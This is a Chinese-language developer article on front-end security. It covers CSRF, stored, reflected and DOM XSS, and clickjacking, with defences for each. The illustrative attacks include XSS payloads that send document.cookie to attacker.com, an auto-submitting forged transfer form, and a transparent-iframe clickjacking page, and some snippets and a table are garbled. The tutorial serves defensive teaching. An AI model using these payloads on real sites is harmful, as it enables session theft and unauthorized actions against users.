本文由 简悦 SimpRead 转码, 原文地址 mp.weixin.qq.com
引言
在数字化时代,前端不仅是用户交互的界面,更是整个系统的 "防御门"。据统计,2024 年全球 Web 攻击达 3110 亿次,总损失约 24 亿美元。正如网络安全专家 Bruce Schneier 所说:"安全不是产品,而是一个过程。" 前端开发者必须摒弃 "安全只是后端考虑" 的陈旧观念,建立起全方位的防御思维。
一、为什么前端安全如此重要?
用户与 Web 应用的第一道交互关口就是前端,但很多开发者存在误区:
后端做了校验,前端可以宽松一点
我们的网站没有敏感数据,不需要安全防护
现代框架(React/Vue)已经自动处理了安全问题
实际上,前端漏洞可能导致:
用户数据泄露(如 Cookie、Token)
恶意操作(如自动转账、发布内容)
企业品牌信誉受损(如页面被篡改)
二、常见的攻击手段
2.1 CSRF(跨站请求伪造)
2.1.1 简介
CSRF(Cross-Site Request Forgery,跨站请求伪造)是一种 Web 安全漏洞,攻击者利用用户已登录的身份,在用户不知情的情况下,以用户的名义执行非预期的操作。
2.1.2 攻击场景与实例
CSRF 攻击流程
GET 型攻击
// 恶意页面中植入下述代码 <img src="https://bank.com/transfer?to=hacker&amount=10000">// 用户浏览含该标签的页面时自动发起请求POST 型攻击
// 恶意页面中植入下述代码<form action="https://bank.com/transfer" method="POST" id="fraud"> <input type="hidden" ></form>// 用户浏览含该页面时自动提交表单<script>document.getElementById('fraud').submit()</script>2.1.3 防御方案
使用 CSRF Token
// 服务器随机生成token嵌入表单或HTTP头中,前端每次请求时验证token<form> <input type="hidden" ></form>设置 Cookie 的 SameSite 属性
// SameSite=Strict:完全禁止第三方Cookie// SameSite=Lax:宽松模式,允许部分安全请求携带CookieSet-Cookie: SameSite=Strict关键操作二次验证
// 转账前要求密码确认async function transfer() { await verifyPassword(); // 后续逻辑...}2.2 XSS(跨站脚本攻击)
2.2.1 简介
XSS(Cross-Site Scripting,跨站脚本攻击)是一种常见的 Web 安全漏洞,攻击者通过在网页中注入恶意脚本,当其他用户浏览该页面时,脚本会在用户浏览器中执行,从而达到攻击目的。
2.2.2 攻击场景与实例
存储型 XSS
- 场景:用户输入持久化到数据库后渲染到页面
存储型 XSS 攻击流程
案例:
// 恶意用户提交的评论内容 这产品真好用!<img src="https://attacker.com/steal?cookie='+document.cookie'">// 当其他用户浏览该页面查看此评论时,攻击者窃取登录凭证
反射型 XSS
- 场景:用户点击恶意链接或访问被篡改的页面构造的 URL 参数
反射型 XSS 攻击流程
案例:
// 恶意攻击URL https://example.com/search?q=<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>// 用户点击恶意URL后发送带发送带恶意参数的请求 GET /search?q=<script>...</script>// 服务端未过滤直接拼接进HTML响应或返回搜索词q前端直接渲染 <div>{{q}}</div>// 浏览器执行恶意脚本,窃取Cookie或重定向页面等 fetch('https://attacker.com/steal?cookie='+document.cookie)
DOM 型 XSS
- 场景:前端 JS 动态操作 DOM 时注入
DOM 型 XSS 攻击流程
案例:
// 错误示例:使用innerHTML直接渲染URL参数 function renderPage() { const hash = window.location.hash.slice(1); // 获取#后的参数 document.getElementById('content').innerHTML = '<h1>' + hash + '</h1>'; } window.onload = renderPage;// 恶意攻击URL http://example.com/#<script>alert('XSS');</script>
2.2.3 攻击场景对比
| 持久性 | |||
| 触发方式 | |||
| 执行位置 | |||
| 可见性 | |||
| 检测难度 |
2.2.4 综合防御方案
输入验证与过滤
对用户提交的数据进行严格检查,过滤或转义特殊字符(如 <,>, ",', &)
使用白名单机制,仅允许安全的输入格式(如纯文本、特定 HTML 标签)
输出编码与转义
在将用户输入渲染到页面时,使用 HTML 实体编码(如 < 代替
<)对输出到 JS 中的内容进行 Unicode 转义
对 URL 参数进行百分号编码
安全 HTTP 头部设置
设置
HttpOnly防止 JavaScript 读取 Cookie使用
Secure标志确保 Cookie 仅通过 HTTPS 传输
安全 DOM 操作
避免使用innerHTML、document.write()等危险方法
// 使用textContent代替innerHTMLelement.textContent = userInput;2.3 点击劫持(Clickjacking)
2.3.1 简介
点击劫持(Clickjacking)是一种视觉欺骗攻击技术,攻击者通过透明或伪装的界面层,诱使用户在不知情的情况下点击恶意操作(如点赞、转账、授权等)。
2.3.2 攻击场景与实例
点击劫持攻击流程
// 伪造恶意页面<style> /* 伪装成诱骗按钮 */ #fake-button { position: absolute; cursor: pointer; z-index: 1; } /* 透明的 iframe,覆盖在诱骗按钮上 */ iframe { position: absolute; opacity: 0.01; /* 几乎透明 */ z-index: 2; }</style><body> <div id="fake-button">点击领取奖品!</div> <iframe src="https://victim-site.com/transfer?amount=1000&to=attacker"></iframe></body>// 用户点击"点击领取奖品!"按钮时实际触发隐藏的转账确认2.3.3 防御方案
使用 X-Frame-Options HTTP 头
X-Frame-Options: DENY // 完全禁止在frame中加载X-Frame-Options: SAMEORIGIN // 只允许同源网站frame加载X-Frame-Options: ALLOW-FROM https://example.com/ // 允许特定来源frame加载使用 Content Security Policy (CSP)
Content-Security-Policy: frame-ancestors 'none' // 等同于DENYContent-Security-Policy: frame-ancestors 'self' // 等同于SAMEORIGINContent-Security-Policy: frame-ancestors example.com // 允许特定域名视觉防御(辅助方案)
@media (frame) { body { display: block !important; }}三、综合安全建议
微软首席安全官 Bret Arsenault 曾指出:"技术解决 40% 的安全问题,流程解决 30%,而人员和文化解决剩余的 30%。"
上述文章介绍了前端安全的重要性以及常见的攻击手段,在实际的项目工程中,建议大家分阶段建立防御体系。除了事中防护之外,也要做好事前预警和时候补救的工作,及时总结分析,将问题原因总结至案例库和开发规范,定期开展安全培训。
防御体系建设
结语
前端安全绝非一劳永逸的战场,而是需要持续警惕的持久战。攻击者的手段在不断进化,我们作为前端开发人员,要持续紧绷” 安全 “这根弦,不仅要创造流畅的用户体验,更要成为用户数据安全的守护者。